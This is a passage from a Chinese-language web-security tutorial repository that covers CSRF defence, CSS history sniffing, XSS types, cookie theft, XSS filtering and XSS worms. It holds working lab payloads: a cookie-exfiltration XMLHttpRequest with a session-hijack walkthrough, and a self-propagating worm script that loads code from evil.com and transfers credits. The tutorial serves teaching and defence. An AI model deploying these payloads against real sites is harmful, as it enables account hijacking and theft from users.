因此,在Web应用开发中,有必要对“读操作”和“写操作”予以区分,比如要求所有的“写操作”都是用HTTP POST。 10 | 11 | 在很多讲述CSRF防御的文章中,都要求使用HTTP POST进行防御,但实际上POST本身并不足以对抗CSRF,因为POST也是可以自动提交的。但是POST的使用,对于保护token有着积极的意义,而security token的私密性,是防御CSRF攻击的基础。 12 | 13 | 对于Web框架来说,可以自动地在所有涉及POST的代码中添加token,这些地方包括所有的from表单,所有的Ajax POST请求等。 14 | 15 | 完整的CSRF防御方案,对于Web框架来说有以下几处地方需要改动。 16 | 17 | 1. 在Session中绑定token。如果不能保存到服务器端Session中,则可以替代为保存到Cookie中。 18 | 1. 在from表单中自动填入token字段,比如`` 19 | 1. 在Ajax请求中自动添加token。 20 | 1. 在服务器端对比POST提交参数的token与Session中绑定的token是否一致,已验证CSRF攻击。 -------------------------------------------------------------------------------- /docs/content/XSS/CSS-history-hack.md: -------------------------------------------------------------------------------- 1 | # CSS History Hack 2 | 3 | 利用XSS窃取客户隐私 4 | 5 | --- 6 | 7 | ## CSS History Hack 介绍 8 | 9 | 运用一些JavaScript/CSS技巧,黑客能获取用户浏览器的某些历史记录,甚至是在搜索引擎输入的查询字符。该技术最初由[Jeremiah Grossman](http://jeremiahgrossman.blogspot.jp/2006/08/i-know-where-youve-been.html)提出,其原理只是利用了 10 | CSS能定义和控制链接样式的特性。 11 | 12 | ##Link Style 13 | 14 | CSS中有四个伪类用来定义链接的样式,分别是:a:link、a:visited、a:active和 a:hover,他们分别表示未访问的、已访问的、激活的和光标悬停 15 | 在其上的链接,如下所示: 16 | 17 | a:link {color: #FF0000} 18 | a:visited {color: #00FF00} 19 | a:hover {color: #FF00FF} 20 | a:active {color: #0000FF} 21 | 22 | 效果如下图: 23 | 24 | ![CSS Link Style](img/CSS-1.png) 25 | 26 | 其中青色的是访问过的网站,红色是未访问过的网站。一般来说,用户每天都会浏览很多网页,这些网页都会被浏览器记录下来,除非用户自己刻意清除,否则历史记录降一直 27 | 保存在本地计算机中。倘若攻击者能获取用户浏览器的历史记录或搜索信息,将是一件十分危险的事,攻击者可以在此基础上进一步发起其他攻击,如社会工程学。 28 | 29 | ##如何获取历史记录 30 | 31 | 黑客是怎样获取到用户的历史记录呢?这需要用到客户端JavaScript和CSS技术,两种技术结合在一起运用就可以知道某人是否访问过一个任意的URL,这种方式叫做“JavaScript/CSS history hack”。该技术主要利用了[Dom](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)中的[getComputedStyle()](https://developer.mozilla.org/en/docs/Web/API/window.getComputedStyle)方法来实现。 32 | 33 | 其原理就是利用CSS能定义访问过的和未访问过的超级链接的样式。由于JavaScript可以读取任何元素的CSS信息,自然能分辨浏览器应用了哪种样式和用户是否访问过该链接。 34 | 35 |

Visited

36 | 37 | 38 |

Not Visited

39 | 40 | 94 | 95 | 运行结果如下图: 96 | 97 | ![CSS hack](img/CSS-2.png) 98 | 99 | 可以看到通过颜色区分了是否访问过,并且使用JavaScript进行罗列结果。Visited部分罗列的是曾经访问过的网站,Not Visited则是没有访问过的网站列表。 100 | 101 | 102 | ##防范攻击 103 | 104 | CSS History Hack的防范属于浏览器安全的范畴,目前各大主流浏览器都已经通过限制getComputedStyle这个API封住了这个漏洞。 105 | 106 | 如下图所示: 107 | 108 | ![CSS hack](img/CSS-3.png) 109 | 110 | 尽管CSS可以区分网站是否访问,但是JavaScript却无法获取到正常的返回值。无论是否访问过的URL,返回的color都是未访问的。 111 | 112 | ##参考 113 | 114 | [Privacy and the :visited selector](https://developer.mozilla.org/en-US/docs/Web/CSS/Privacy_and_the_:visited_selector) 115 | 116 | [CSS History Hack](http://ha.ckers.org/weird/CSS-history-hack.html) -------------------------------------------------------------------------------- /docs/content/XSS/Overview.md: -------------------------------------------------------------------------------- 1 | # XSS 2 | 3 | Cross-Site Scripting 4 | 5 | --- 6 | 7 | ## 跨站脚本介绍 8 | 9 | 跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在Web应用程序中的计算机安全漏洞,是由于Web应用程序对用户的输入过滤不足而产生的。攻击者利用网站 10 | 漏洞把恶意的脚本代码(通常包括HTML代码和客户端JavaScript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。 11 | 12 | 由于和另一种网页技术——层叠样式表(Cascading Style Sheets,CSS)的缩写一样,为了防止混淆,故把原来的CSS简称为XSS。 13 | 14 | ##背景和现状 15 | 16 | 当今Web时代的安全基于一个很重要的浏览器安全策略——同源策略(Same Origin Policy)。根据这个策略,a.com域名下的JavaScript无法跨域操作b.com域名下的对象。比如,baidu.com域名下的页面中包含的JavaScript代码,不能访问google.com域名下的页面内容。 17 | 18 | 但是网景(NetScape)公司1995年推出JavaScript语言的时候并没有同时设计同源策略。推出JavaScript之后不久,黑客们意识到,当有人浏览她们的网站时,他们可以使用iframe强制加载任何网站(邮箱,银行,交易网站)并且使用JavaScript跨越两个站点进行操作,所以起名为跨站脚本(Cross-Site Scripting,XSS)。 19 | 网景公司发现这个问题之后设计了同源策略的限制,使得现在的XSS攻击基本都不是跨站的,但是这个名字被沿用了下来。 20 | 21 | ##XSS的分类 22 | 23 | --- 24 | 25 | ##反射型XSS 26 | 27 | 反射型跨站脚本(Reflected Cross-site Scripting)也称作非持久型、参数型跨站脚本。这种类型的跨站脚本是最常见,也是使用最广的一种, 28 | 主要用于将恶意脚本附件到URL地址的参数中,例如: 29 | 30 | http://myzoo.com/test.php?param=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E 31 | 32 | 反射型XSS的利用一般是攻击者通过特定手法(比如利用电子邮件),诱使用户去访问一个包含恶意代码的URL,当受害者点击这些专门设计的链接的时候, 33 | 恶意JavaScript代码会直接在受害者主机上的浏览器执行。它的特点是只在用户单击时触发,而且只执行一次,非持久化,所以称为反射型跨站式脚本。 34 | 35 | 典型的反射型XSS案例的截图: 36 | ![Reflected Cross-site Scripting](img/Reflected-XSS.png) 37 | 38 | ##持久型XSS 39 | 40 | 持久型跨站脚本(Persistent Cross-site Scripting)也等于存储型跨站脚本(Stored Cross-site Scripting),比反射型跨站脚本更具有威胁性, 41 | 并且可能影响到Web服务器自身的安全。 42 | 这种类型的XSS不影响用户单击特定的URL就能执行跨站脚本,攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意JavaScript代码的页面就会执行恶意代码。 43 | 44 | 持久型XSS案例的截图: 45 | 46 | ![Persistent Cross-site Scripting](img/Persistent-XSS.png) 47 | 48 | ##DOM XSS 49 | 传统类型的XSS漏洞(反射型或存储型XSS)一般出现在服务器端代码中,而DOM-Based XSS是基于DOM文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。 50 | 51 | 如前所述,客户端JavaScript可以访问浏览器的DOM文本对象模型,因此能够决定用于加载当前页面的URL。换句话说,客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于服务器的数据,而从客户端获得DOM中的数据(如从URL中提取数据)并在本地执行。 52 | 53 | 另一方面,浏览器用户可以操纵DOM中的一些对象,例如URL、location等。用户在客户端输入的数据如果包含了恶意JavaScript脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于DOM的XSS攻击。 54 | 55 | 下面是一个简单的例子: 56 | 57 | 58 | 早上好 59 | 63 | 同学 64 | 65 | 66 | 把以上代码保存为Dom-XSS.html中,然后浏览器访问: 67 | 68 | http://127.0.0.1/Dom-XSS.html?name= 69 | 70 | 就会输出当前页面的Cookie信息,如图所示: 71 | 72 | ![Dom-XSS](img/Dom-XSS.png) -------------------------------------------------------------------------------- /docs/content/XSS/XSS-Cookie.md: -------------------------------------------------------------------------------- 1 | # Stealing Cookie With XSS 2 | 3 | 利用XSS窃取客户端资料 4 | 5 | --- 6 | 7 | ## Cookie 介绍 8 | 9 | 简单来说,Cookie 是用户浏览网页时网站存储在用户机器上的小文本文件,文件里面记录了与用户相关的一些状态或者设置,比如用户名、ID、访问次数等,当用户下一次 10 | 访问这个网站的是,浏览器会把Cookie 信息发送给网站,网站从中读取信息,以便用户实现快速访问。 11 | 12 | ##Cookie 的作用 13 | 14 | 因为HTTP协议是无状态的,即服务器不知道用户上一次做了什么,这严重阻碍了交互式Web应用程序的实现。在典型的网上购物场景中,用户浏览了几个页面,买了一盒饼干和两瓶饮料。最后结帐时,由于HTTP的无状态性,不通过额外的手段,服务器并不知道用户到底买了什么。 所以Cookie就是用来绕开HTTP的无状态性的“额外手段”之一。服务器可以设置或读取Cookies中包含信息,借此维护用户跟服务器会话中的状态。 15 | 16 | 在刚才的购物场景中,当用户选购了第一项商品,服务器在向用户发送网页的同时,还发送了一段Cookie,记录着那项商品的信息。当用户访问另一个页面,浏览器会把Cookie发送给服务器,于是服务器知道他之前选购了什么。用户继续选购饮料,服务器就在原来那段Cookie里追加新的商品信息。结帐时,服务器读取发送来的Cookie就行了。 17 | 18 | Cookie另一个典型的应用是当登录一个网站时,网站往往会请求用户输入用户名和密码,并且用户可以勾选“下次自动登录”。如果勾选了,那么下次访问同一网站时,用户会发现没输入用户名和密码就已经登录了。这正是因为前一次登录时,服务器发送了包含登录凭据(用户名加密码的某种加密形式)的Cookie到用户的硬盘上。第二次登录时,(如果该Cookie尚未到期)浏览器会发送该Cookie,服务器验证凭据,于是不必输入用户名和密码就让用户登录了。 19 | 20 | ##Cookie 操作 21 | 22 | 通常我们需要设置一些 Cookie 属性,常见属性如下: 23 | 24 | Domain——设置关联 Cookie 的域名; 25 | Expires——通过给定一个过期时间来创建一个持久化Cookie; 26 | HttpOnly——用于避免Cookie 被 JavaScript 访问; 27 | Name——Cookie 的名称; 28 | Path——关联到 Cookie 的路径,默认为/; 29 | Value——读写Cookie的值; 30 | Secure——用于指定Cookie 需要通过安全 Socket 层连接传递; 31 | 32 | 创建一个 Cookie,需要提供 Cookie的名字、对应值、过期时间和相关路径等,以PHP语言为例,使用[setcookie()](http://php.net/manual/en/function.setcookie.php) 函数能轻易创建一个 Cookie,例如: 33 | 34 | 37 | 38 | 若要删除 Cookie,设定 Cookie 的Expires 的值为过去时间即可: 39 | 40 | setcookie('user_id',0,time()-1); //删除 Cookie 变量 41 | 42 | 43 | ##Cookie 的安全 44 | 45 | 由于 Cookie 保存在客户端,这意味着它随时可能被窃取和滥用,如果我们登录百度后没有退出帐号,当其他成员使用同一台计算机登录时,利用之前的 Cookie,就能窃取我们帐号的“权限”。 46 | 47 | 例如使用Chrome的开发者工具查看 Cookie 信息: 48 | 49 | ![Cookie](img/Cookie.png) 50 | 51 | 52 | ##XSS攻击演示 53 | 54 | 接下来我就通过实际的攻击演示来告诉大家如何窃取Cookie并获取帐号的“权限”。 55 | 56 | 攻击者可以使用下面三种方式获取客户端的Cookie信息: 57 | 58 | 61 | 62 | 63 | 64 | var http = new XMLHttpRequest(); 65 | http.open("GET", "http://localhost:2002?cookie="+encodeURIComponent(document.cookie), true); 66 | http.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); 67 | http.send(); 68 | 69 | 上面攻击的本质都是触发一个HTTP GET 请求把 Cookie 信息作为URL的一部分参数传给攻击者的服务器然后攻击者 70 | 通过查看日志即可获取到 Cookie 信息,对于包含特殊字符的Cookie信息可以使用[encodeURIComponent](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent)函数进行编码传输。 71 | 72 | 首先把XSS攻击代码保存到用户的Profile中: 73 | 74 | ![XSS save](img/xss-1.png) 75 | 76 | 然后通过查看Profile触发XSS代码: 77 | 78 | ![XSS trige](img/xss-2.png) 79 | 80 | 然后通过开发者工具的Network面板查看到确实构造了一个带有 Cookie 信息的GET请求: 81 | 82 | ![XSS get](img/xss-3.png) 83 | 84 | 2002端口是本地的查看GET请求的服务器用来捕捉请求: 85 | 86 | ![XSS get](img/xss-4.png) 87 | 88 | 接下来打开一个隐身窗口(隐身窗口不会使用正常浏览的Cookie,所以可以模拟新用户)。然后通过注入Cookie的方式来完成模拟被盗用户 89 | 的登录。默认会被跳转到登录页面,因为没有登录嘛。 90 | 91 | ![XSS open](img/xss-5.png) 92 | 93 | 接下来打开开发者工具的Console页面,把得到的Cookie进行如下操作之后刷新页面就会发现: 94 | 95 | ![XSS console](img/xss-6.png) 96 | 97 | 我们已经登录到这个用户的账户了: 98 | 99 | ![XSS success](img/xss-7.png) 100 | 101 | ##Cookie 攻击防范 102 | 103 | 对于 Cookie 的偷取我们可以使用最有效的方法:设置Cookie的HttpOnly为true,这样JavaScript就无法访问了。 104 | 105 | 设置了HttpOnly属性之后在开发者工具里面可以看到HTTP选项已经打勾: 106 | 107 | ![XSS HttpOnly](img/xss-8.png) 108 | 109 | 可以看到监听服务器并没有获取到Cookie: 110 | 111 | ![XSS Cookie](img/xss-9.png) 112 | 113 | 这样就有效避免了Cookie被盗用的风险~ -------------------------------------------------------------------------------- /docs/content/XSS/XSS-Defense.md: -------------------------------------------------------------------------------- 1 | # XSS Defense 2 | 3 | 知己知彼,百战不殆;不知彼而知己,一胜一负;不止彼,不知己,每战比殆。 4 | 5 | --- 6 | 7 | ## Overview 8 | 9 | 虽然大多数人都了解XSS (Cross-Site Scripting)的成因,但是要彻底防止XSS攻击并不容易。因为XSS的表现形式各异,利用方式灵活多变,所以不能以单一特征来 10 | 概括所有XSS攻击,这就给XSS漏洞防御带来了极大的困难。 11 | 12 | 造成这个现象的原因主要有两个方面: 13 | 14 | 首先,Web浏览器当初的设计是不安全的。浏览器只是用于通过URL来获取并显示Web网页的一种软件工具,网络传输过来的数据有的是浏览器用户需要的、能够看到的,也有的是浏览器不能显示的。这些不能显示的内容可能是对用户来说透明的协议工作内容,也有可能是恶意代码,它们会窃取用户计算机上的隐私,甚至会对计算机设备造成破坏。不可否认,Web浏览器包含了解析和执行JavaScript等脚本语言的能力,这些语言可用来创建各种丰富的功能,但浏览器只会执行,很少能判断出代码片段是否恶意。 15 | 16 | 其次,大部分Web开发人员都未接受过正规的安全培训,因此没有创建好安全的网站,导致攻击者能利用网站的安全漏洞,注入恶意代码发起攻击。 17 | 18 | 19 | 接下来我们会介绍常见的XSS的防御方法,包括使用XSS Filter、输入过滤输出编码、建立良好的黑白名单策略等。 20 | 21 | ##使用XSS Filter 22 | 23 | XSS Filter的作用是过滤用户(客户端)提交的有害信息,从而达到防范XSS攻击的效果。XSS Filter作为防御跨站攻击的主要手段之一,已经广泛应用在各类Web系统之中,包括现今的许多应用软件,例如我使用的版本 40.0.2214.111的Chromium: 24 | 25 | ![XSS chromium defense](img/xss-defense-1.png) 26 | 27 | 但是,XSS本质上是Web应用服务的漏洞,仅仅依赖客户端的保护措施是不够的,解决问题的根本是在Web应用程序的代码中消除XSS安全漏洞。 28 | 常用的手段是输入过滤和输出过滤,这两者是有微妙的区别的。输入过滤的所有数据都须经过XSS Filter处理,被确认安全无害后才存入数据库中, 29 | 而输出过滤只是应用于写出页面的数据,换言之,如果一段恶意代码早已存入数据库中,若只有采用输出过滤才能捕获非法数据,那么这两种方式在防范持久型XSS的 30 | 时候会产生巨大的差异。 31 | 32 | ##输入过滤 33 | 34 | “永远不要相信用户的输入”是网站开发的基本常识,对于用户输入一定要过滤。跨站脚本攻击通常是通过一些正常的站内交互途径,例如,发布评论、添加文章等 35 | 方式来提交恶意JavaScript的内容,服务器端如果没有过滤或转义掉这些脚本,反而作为内容发布到了页面上,那么当其他用户访问该页面的时候就会运行这些脚本。 36 | 37 | 所以,当要防范这类攻击的时候,大多数人的想法都是对用户输入的信息进行过滤。例如,针对< > 或者 javascript等敏感字符串进行过滤,倘若发现用户输入的信息 38 | 中含有可疑字符串,则对其进行消毒、转义或禁用。输入过滤主要有两类: 39 | 40 | 输入验证: 41 | 42 | 输入验证就是对用户提交的信息进行有效的验证,仅接受指定长度范围内的,采用合适格式的内容提交的,阻止或者忽略除此外的其他任何数据。例如,要求用户输入电话号码 43 | 就必须是数字格式,而且还要设定长度限制。 44 | 45 | 输入验证要根据实际情况来设计,下面是一些常见的检测和过滤: 46 | 47 | * 输入是否仅仅包含合法的字符; 48 | * 输入字符串是否超过最大长度限制; 49 | * 输入如果为数字,数字是否在指定的范围; 50 | * 输入是否符合特殊的格式要求,如E-mail地址、IP地址等。 51 | 52 | 数据消毒: 53 | 54 | 除了在客户端验证数据的合法性,输入过滤中最重要的还是净化有害的输入,例如以下常见敏感字符: < > javascript eval 55 | 56 | 这时候应该使用白名单政策更安全,但是这样还是远远不够的,为了确保Web应用程序的安全,对 Web 应用的输出也要进行过滤和编码。 57 | 58 | ##输出编码 59 | 60 | 大多数的 Web 应用程序都存在一个通病,就是会把用户输入的信息完完整整地输出在页面中,这样很容易产生一个XSS。 61 | 62 | 因此,当需要将一个字符串输出到Web网页时,同时又不确定这个这个字符串中是否包括XSS特殊字符(如<>&'"等),为了确保输出内容的完整性和正确性,可以使用 63 | 编码(HTMLEncode)进行处理。HTML编码在防范XSS攻击上起到很大的作用,它主要是用对应的 HTML 实体代替字面量字符,这样做可确保浏览器安全处理可能存着的 64 | 恶意字符,将其当作HTML 文档的内容而非结构加以处理。 65 | 66 | 常见的HTML特殊字符转成字符实体编码: 67 | 68 | * `<` 转成 `<` 69 | * `>` 转成 `>` 70 | * `&` 转成 `&` 71 | * `"` 转成 `"` 72 | * `'` 转成 `'` 73 | 74 | 如果说对输入数据的过滤是针对可疑的信息进行防范,那么针对输出数据进行编码,就是让可能造成危害的信息变成无害的。 75 | 76 | 77 | ##Noscript 78 | 79 | NoScript是一款免费的开源插件,提供对Firefox或其它基于Mozilla浏览器的额外保护。该插件默认禁止所有脚本,但可以通过自定义设置允许通过的脚本,相当于 80 | 使用白名单政策,可以有效增强浏览器的安全性。 81 | 82 | ##WAF 83 | 84 | WAF(Web Application Firewall)指 Web应用防火墙,是专门为保护基于 Web 的应用程序而设计的,主要的功能是防范诸如网页木马、XSS以及CSRF等常见的 Web漏洞攻击,在企业环境中深受欢迎。例如最常用的Web服务器之一 Apache就有专门的 WAF模块,安装并启用这个模块可以有效增强 Web 系统的安全性。 -------------------------------------------------------------------------------- /docs/content/XSS/XSS-Worm.md: -------------------------------------------------------------------------------- 1 | # XSS Worm 2 | 3 | XSS蠕虫不仅可以攻击用户而且还可以大规模感染 4 | 5 | --- 6 | 7 | ## 历史上第一次XSS Worm 8 | 9 | 2005年10月4日,世界上第一只“Web 2.0蠕虫”诞生了。当时有人在国外著名社交网络MySpace上写了一段 JavaScript 蠕虫代码,利用 Ajax 方法让无数的用户在 10 | 毫不知情的情况下把作者加入了好友名单,同时在他们的个人简介里自动加上了 “samy is my hero” 的字样。 11 | 12 | 当时19岁的 Samy 是蠕虫编写者,编写蠕虫的原因是为了跟女友打赌他可以在 MySpace 上拥有众多的粉丝,可是又达不到要求,于是,他稍微研究了一下 MySpace的 13 | 安全性,并发现网站的个人简介处存在XSS漏洞。随后, Samy 在自己的个人简介中写入了一段 JavaScript 代码,每个查看他简介的人会在不知不觉中执行这段代码, 14 | 接着该蠕虫会打开受害者的个人简介,把恶意的 JavaScript 代码片段复制进去。同样,任何查看受害者个人简介的人也会被感染,藉此 Samy XSS Worm 在 MySpace 15 | 上疯散播,一天内就感染了超过100万用户。由于极其惊人的传播速度,最终导致 MySpace 服务器崩溃。 16 | 17 | 下面是 Samy 的截图: 18 | 19 | ![Firest XSS Worm](img/xss-worm-1.jpg) 20 | 21 | 可以看到有919664页用户的好友请求,这就是XSS Worm爆发的“战果”。 22 | 23 | 所谓的跨站脚本蠕虫(XSS Worm),实质上是一段脚本程序,通常用 JavaScript或 VbScript 写成,在用户浏览XSS页面的时被激活。蠕虫利用 24 | 站点页面的 XSS 漏洞根据其特定规则进行传播和感染。 25 | 26 | 值得注意的是,XSS蠕虫只是 Web 2.0 蠕虫的其中一种,也是最广为人知的一种,它利用网络的XSS漏洞进行散播。Web 2.0 蠕虫还有其他形式,如 CSRF Worm, 27 | 顾名思义,该类蠕虫是利用网站的 CSRF 漏洞进行攻击。 28 | 29 | ##XSS Worm攻击原理 30 | 31 | XSS蠕虫通常使用了大量的 [Ajax](https://developer.mozilla.org/en/docs/AJAX) 技术。Ajax 的作用就在于:无须刷新即可异步传输数据,经过服务器 32 | 处理后,得到返回信息,再提示给用户。如此一来,使跨站蠕虫具有较强的传播性和隐蔽性,而且蔓延速度相当惊人,呈几何级发展。 33 | 34 | 一个完整的 XSS Worm的攻击流程如下。 35 | 36 | 1. 攻击者发现目标网站存在XSS漏洞,并且可以编写 XSS 蠕虫。 37 | 2. 利用宿主 (如博客空间) 作为传播源头进行 XSS 攻击。 38 | 3. 当其他用户访问被感染的空间时,XSS 蠕虫就继续感染。 39 | 40 | ##XSS Worm 感染演示 41 | 42 | 首先,作为宿主本身要作为源头进行XSS攻击。用户名为 wang,Balance为 20 zoobars。 43 | 每个注册用户都会默认分配10个 zoobars,用户可以将其自由转移给其他人。 44 | 45 | ![XSS Worm code](img/xss-worm-2.png) 46 | 47 | 我们在Profile里面写入了恶意代码,只要别人查看就会被感染,接下来让我们注册个新用户 worm1: 48 | 49 | ![XSS Worm1](img/xss-worm-3.png) 50 | 51 | 可以看到默认拥有10个zoobars,并且profile为空的。接下来让我们查看一下宿主用户wang: 52 | 53 | ![XSS Worm1 view](img/xss-worm-4.png) 54 | 55 | 这时查看到了wang的Balance为 20 zoobars,同时恶意代码得到了执行,让我们查看 worm1的profile: 56 | 57 | ![XSS Worm1 attack](img/xss-worm-5.png) 58 | 59 | 可以发现 worm1用户的profile已经被感染,同时zoobars也被偷取了一个。返回查看可以发现wang的zoobars添加了一个。 60 | 61 | ##XSS Worm攻击代码分析 62 | 63 | 下面是 evil.js的代码内容: 64 | 65 | var http = new XMLHttpRequest(); 66 | http.open("POST", "http://myzoo.com/transfer.php", true); 67 | http.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); 68 | http.send("zoobars=1&recipient=wang&submission=Send"); 69 | var http = new XMLHttpRequest(); 70 | http.open("POST", "http://myzoo.com/index.php", true); 71 | http.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); 72 | var data="profile_update=%3Cscript%3E%0D%0A+%0D%0A+var+script+%3Ddocument.createElement%28%22script%22%29%3B%0D%0A+script.setAttribute%28%22src%22%2C%22http%3A%2F%2Fevil.com%2Fevil.js%22%29%3B%0D%0A+document.body.appendChild%28script%29%3B%0D%0A%3C%2Fscript%3E&profile_submit=Save"; 73 | http.send(data); 74 | 75 | 代码本质上就是模拟用户请求发送转移zoobars的合法请求,然后修改用户的Profile,使得用户也被感染恶意代码。 76 | 77 | ##参考 78 | 79 | [Cross-Site Scripting Worms & Viruses](https://www.whitehatsec.com/assets/WP5CSS0607.pdf) 80 | 81 | [Technical explanation of The MySpace Worm](http://namb.la/popular/tech.html) -------------------------------------------------------------------------------- /docs/img/Bell-Lapadula.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/Bell-Lapadula.png -------------------------------------------------------------------------------- /docs/img/CSS-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/CSS-1.png -------------------------------------------------------------------------------- /docs/img/CSS-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/CSS-2.png -------------------------------------------------------------------------------- /docs/img/CSS-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/CSS-3.png -------------------------------------------------------------------------------- /docs/img/ClickJacking.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/ClickJacking.jpg -------------------------------------------------------------------------------- /docs/img/Cookie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/Cookie.png -------------------------------------------------------------------------------- /docs/img/Dom-XSS.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/Dom-XSS.png -------------------------------------------------------------------------------- /docs/img/Linux_file.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/Linux_file.jpg -------------------------------------------------------------------------------- /docs/img/MVC.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/MVC.png -------------------------------------------------------------------------------- /docs/img/Malicious-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/Malicious-1.png -------------------------------------------------------------------------------- /docs/img/Malicious-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/Malicious-2.png -------------------------------------------------------------------------------- /docs/img/Persistent-XSS.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/Persistent-XSS.png -------------------------------------------------------------------------------- /docs/img/Reflected-XSS.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/Reflected-XSS.png -------------------------------------------------------------------------------- /docs/img/SQL_Injection.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/SQL_Injection.jpg -------------------------------------------------------------------------------- /docs/img/Same-Origin-Policy-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/Same-Origin-Policy-1.png -------------------------------------------------------------------------------- /docs/img/Same-Origin-Policy-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/Same-Origin-Policy-2.png -------------------------------------------------------------------------------- /docs/img/Sandbox-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/Sandbox-1.png -------------------------------------------------------------------------------- /docs/img/TapJacking.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/TapJacking.jpg -------------------------------------------------------------------------------- /docs/img/attack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/attack.png -------------------------------------------------------------------------------- /docs/img/browse.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/browse.png -------------------------------------------------------------------------------- /docs/img/csrf_attack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/csrf_attack.png -------------------------------------------------------------------------------- /docs/img/evil2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/evil2.png -------------------------------------------------------------------------------- /docs/img/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/favicon.ico -------------------------------------------------------------------------------- /docs/img/favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/favicon.png -------------------------------------------------------------------------------- /docs/img/initial-config.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/initial-config.png -------------------------------------------------------------------------------- /docs/img/initial-layout.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/initial-layout.png -------------------------------------------------------------------------------- /docs/img/injection.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/injection.png -------------------------------------------------------------------------------- /docs/img/login.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/login.png -------------------------------------------------------------------------------- /docs/img/login1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/login1.png -------------------------------------------------------------------------------- /docs/img/login2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/login2.png -------------------------------------------------------------------------------- /docs/img/modsecurity.png: 